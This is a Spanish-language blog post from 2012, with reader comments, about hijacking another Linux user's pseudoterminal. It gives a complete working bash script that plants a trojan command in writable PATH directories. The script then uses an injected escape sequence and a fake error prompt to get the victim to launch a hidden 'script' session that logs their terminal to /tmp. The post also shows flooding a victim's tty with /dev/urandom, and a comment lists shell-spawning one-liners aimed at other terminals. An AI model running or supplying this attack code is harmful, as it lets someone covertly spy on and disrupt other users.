jueves, 20 de diciembre de 2012

Pseudoterminales y secuencias de escape

En el post anterior, les comentaba sobre cómo espiar la terminal de otro usuario en linux. Para esto era necesario lograr que el usuario víctima ejecute sin darse cuenta una llamada al comando "script" y lo conseguimos reemplazando el binario del comando "ls" por un script bash que haga todo el trabajo.

Si bien funcionó, no me parece la mejor forma de hacerlo, pues tiene algunos inconvenientes:
  1. Hay que esperar a que el usuario ejecute el comando "ls".
  2. Otros usuarios también podrían ejecutar "ls" y entrar en la sesión de script innecesariamente.
  3. Nosotros mismos podríamos entrar en la sesión de script si somos descuidados xD
Pues bien, hay otra forma de conseguir que un usuario ejecute algo en su terminal sin percatarse...

Recordemos que la terminal de un usuario esta asociada a un fichero de dispositivo en "/dev/pts" que representa la entrada/salida de esa terminal. Esto significa que si escribimos algo en dicho fichero se mostrará en la pantalla del usuario asociado. Veamos:

Fig. 1 - Escribiendo en la terminal de otro usuario.

Lo primero que se nos ocurre es que podríamos enviar un comando con un salto de linea (enter) al final para que se ejecute y así tomar el control de la terminal de ese usuario. Pero... (se veía venir), no funciona así. Lo que escribimos en ese fichero, repito, es "salida estándar" y los comandos son "entrada estándar". Así que solo se "dibujara" en la pantalla mas no se ejecutará.

Como soy un troll, imaginé que si no podía usar esto para ejecutar comandos en la terminal de otro usuario, por lo menos podría usarlo para no dejarle trabajar... }:)

Así:

# cat /dev/urandom > /dev/pts/#terminal

Fig. 2 - Enviando basura a la terminal de otro usuario.

Lo que sucede es que en alguna oportunidad otro troll amigo mío (que seguro leerá esto) le hizo algo similar a mi terminal pero con el comando "write" que no viene al caso mencionar cómo... (nota para el troll: Así es más fácil :P)

Les comentaba esto porque, al detener el envío de basura, sucedió algo curioso.

Fig. 3 - Algo raro le pasa a mi terminal.

¿62 comando no encontrado? De pronto a la terminal se le dio por ejecutar tonterías. Pero la cuestión es ¿Porqué la terminal ejecuta 62, 9, c62, etc... y si se puede controlar eso para ejecutar otros comandos?

Al principio no tenía ni idea pero luego de unos cuantos experimentos más y de buscar información en Internet entendí que esto se debía a las "secuencias de escape" ¿Qué tu ya lo sospechabas? Será por el título :P

Las secuencias de escape son códigos que interpreta la terminal (o el emulador de terminal: xterm, gnome-shell, konsole, ...) para realizar ciertas operaciones como: limpiar la pantalla, poner color al texto, hacer sonar la campana, etc. Sucede que también existen ciertas secuencias que al enviarse a la terminal provocan que esta devuelva un valor para indicar por ejemplo el tipo de terminal, su estado o la posición actual del cursor.  Es ese valor devuelto por la terminal el que va a la "entrada estandar" y que luego es tratado como si fuera un comando escrito por el usuario.

En la imagen anterior, la secuencia generada accidentalmente por urandom se denomina "ESC Z" y provoca que la terminal devuelva una serie de números separados por ";" que indican ciertos atributos de la terminal. Así que podemos repetir el experimento con el comando "echo".

# echo -e "\eZ" > /dev/pts/#terminal

Fig. 4 - Enviando secuencias de escape con "echo".

Como se vé en la imagen la respuesta que genera es "62;9;c" (aunque no siempre será la misma en otros tipos de terminal). El caracter ";" casualmente también sirve como separador de comandos en bash, así que 62, 9 y c se toman como comandos diferentes. Además, hay que notar que esos "comandos" no se ejecutan inmediatamente, sino que solo se escriben y hay que esperar a que el usuario presione enter para ejecutarlos.

En conclusión podemos aprovechar esto para lograr que un usuario ejecute algo en su terminal sin querer. Así que programé un script en bash que usa este truco para meter al usuario dentro de una sesión de "script", aunque el "payload" se puede cambiar y hacer que ejecute alguna otra cosa. Aquí se los dejo:

#!/bin/bash

# directorios comunes del PATH
dirs="/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin";

if [ $# -ne 1 ]; then
 echo -e "Uso:\n\t$0 <pts_path>";
 echo -e "Ej.:\n\t$0 /dev/pts/1";
 exit 1;
fi
pts=$1;

IFS=":";
for dir in $dirs; do
 # crear el comando en el path
 cat 2>/dev/null 1>$dir/n  << EOF
#!/bin/bash
name=\`whoami\`-\`tty | cut -d / -f 4\`;
echo -e "\n\e[1;32m"Entra: \`whoami\` \`tty\` /tmp/\$name.script"\e[0m" > `tty`;
script -q -f -t /tmp/\$name.script 2> /tmp/\$name.timing;
echo -e "\n\e[1;31m"Sale: \`whoami\` \`tty\` /tmp/\$name.script"\e[0m" > `tty`;
exit;
EOF
 if [ -f $dir/n ]; then
  echo "[+] comando creado en" $dir/n;
  chmod +x $dir/n;
  chmod o+w `tty`; # para que funcione la notificacion

  echo -e "\e[5n" > $pts; # genera el comando "n" en la terminal victima
  sleep 0.1;    # esperar 0.1 segundos
  echo -e "\ec" > $pts; # limpiar la pantalla
  # algo de ingenieria social ;)
  echo -e "An unexpected error has occurred.\n" > $pts;
  echo "Press ENTER key to continue..." > $pts;

  # fin
  echo "[+] comando enviado";
  exit;
 fi
done
echo "[-] no tengo permisos de escritura en el PATH";

Aquí les dejo un vídeo de como usar el script.


Si te interesa investigar sobre este tema y experimentar con otras secuencias de escape puedes encontrar más info en este link: http://invisible-island.net/xterm/ctlseqs/ctlseqs.html

Para terminar, comentar que quizá el truco de "ejecutar" algo en la terminal de otro usuario usando secuencias de escape podría emplearse en otros escenarios para conseguir otras cosas... por lo pronto tengo una más en mente, pero algo verde aún.

Un saludo.

4 comentarios:

  1. "Pseudoterminales sin secuencias de escape"

    Muy bueno el articulo, investigando un poco probé esto mismo pero sin secuencias de escape y logré ejecutar algún que otro comando en otro Pseudoterminal

    [root@server~]# tty
    /dev/pts/1
    [root@server~]# echo "`uname`" > /dev/pts/0

    [root@server~]# tty
    /dev/pts/0
    Linux

    Claro está decir que no funcionan todos los comandos, por ejemplo el comando script no logré que funcionara con lo que tu script en bash que realizaste viene bastante bien ;)



    ResponderEliminar
    Respuestas
    1. Hola Ignacio, lo que sucede es que estás enviando la salida de uname al pts/0, no sin embargo se está ejecutando el comando uname en la terminal pts/0 (por ello no te funcionan todos los comandos).

      Un saludo

      Eliminar
  2. Y hablando de pseudoterminales... simultaneous writes > pseudoterminal = buffer overflow ;)

    http://blog.segu-info.com.ar/2014/05/bug-critico-en-linux-presente-desde.html

    ResponderEliminar
  3. Buenas, el otro día me acordé de las "Pseudoterminales y secuencias de escape" y estuve probando el tema de mandar algún que otro comando...y dije ¿por qué no intentar mandar una shell...? Entonces pensé en diferentes formas de hacerlo a través de metodos diferentes con un mismo resultado.

    Estos son los métodos que probé:

    Desde nuestra propia shell:

    [root@server~]# /bin/bash > /dev/pts/x
    [root@server~]# find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \; > /dev/pts/x
    [root@server~]# awk 'BEGIN {system("/bin/bash")}' > /dev/pts/x
    [root@server~]# perl -e 'exec "/bin/bash";' > /dev/pts/x

    Dentro del editor vi, ejecutando:

    :!bash > /dev/pts/x
    :set shell=/bin/bash:shell > /dev/pts/x

    Y también desde man, more y less, ejecutando:

    !bash > /dev/pts/x

    En cualquiera de las métodos anteriores lo que hacemos es ejecutar una shell (bash) desde nuestro terminal redirigiendo la salida a otro distinto, una vez conseguida esta shell podemos tranquilamente ejecutar comandos en la otra terminal (víctima) sin que desde la terminal victima se pueda ver cuáles son los comandos ejecutados, tan sólo se vería la salida de los mismos ;)

    ResponderEliminar